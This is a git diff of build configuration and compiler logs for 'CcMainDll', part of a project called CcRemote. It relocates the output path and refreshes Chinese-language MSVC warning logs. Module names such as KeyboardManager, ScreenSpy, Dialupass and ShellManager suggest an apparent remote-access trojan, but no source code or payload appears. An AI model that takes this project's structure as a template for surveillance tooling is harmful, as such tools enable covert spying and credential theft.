diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo
index c4a1525..dd3ee90 100644
Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ
diff --git a/CcMainDll/CcMainDll/CcMainDll.vcxproj b/CcMainDll/CcMainDll/CcMainDll.vcxproj
index d73f5b2..26c0eaa 100644
--- a/CcMainDll/CcMainDll/CcMainDll.vcxproj
+++ b/CcMainDll/CcMainDll/CcMainDll.vcxproj
@@ -72,14 +72,14 @@
   <PropertyGroup Label="UserMacros" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     <LinkIncremental>true</LinkIncremental>
-    <OutDir>..\bin\server\</OutDir>
+    <OutDir>..\..\bin\server</OutDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     <LinkIncremental>true</LinkIncremental>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <LinkIncremental>false</LinkIncremental>
-    <OutDir>..\bin\server</OutDir>
+    <OutDir>..\..\bin\server</OutDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <LinkIncremental>false</LinkIncremental>
diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
index afa5faf..fae17d0 100644
--- a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
+++ b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
@@ -1,36 +1 @@
-g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.lib
-g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.exp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\pch.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\audio.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\until.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\manager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\install.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
-g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.ilk
-g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.dll
-g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.pdb
-g:\ccremote\ccremote\ccmaindll\ccmaindll\..\bin\server\ccmaindll.dll
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log
index 5e92904..3b34691 100644
--- a/CcMainDll/CcMainDll/Debug/CcMainDll.log
+++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log
@@ -1,104 +1,108 @@
-cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
+C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。  此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
+cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   pch.cpp
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   Audio.cpp
-g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   ClientSocket.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
   Buffer.cpp
   until.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
   正在生成代码...
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   AudioManager.cpp
   Dialupass.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
   install.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
   KernelManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
   KeyboardManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
   Manager.cpp
   RegEditEx.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
   ScreenManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
-  g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
+  d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
   ScreenSpy.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
   ShellManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
   SystemManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
   VideoCap.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
   VideoManager.cpp
   正在生成代码...
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   FileManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   dllmain.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(166): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(166): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
 LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
-  CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\bin\server\CcMainDll.dll
+  LINK : 没有找到 ..\..\bin\server\CcMainDll.dll 或上一个增量链接没有生成它;正在执行完全链接
+    正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
+LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library
+  CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate
index 03e57a1..bd1e4f2 100644
--- a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate
+++ b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate
@@ -1,2 +1,2 @@
 #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
+Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
diff --git a/CcMainDll/CcMainDll/Debug/dllmain.obj.enc b/CcMainDll/CcMainDll/Debug/dllmain.obj.enc
deleted file mode 100644
index 6f123a1..0000000
Binary files a/CcMainDll/CcMainDll/Debug/dllmain.obj.enc and /dev/null differ
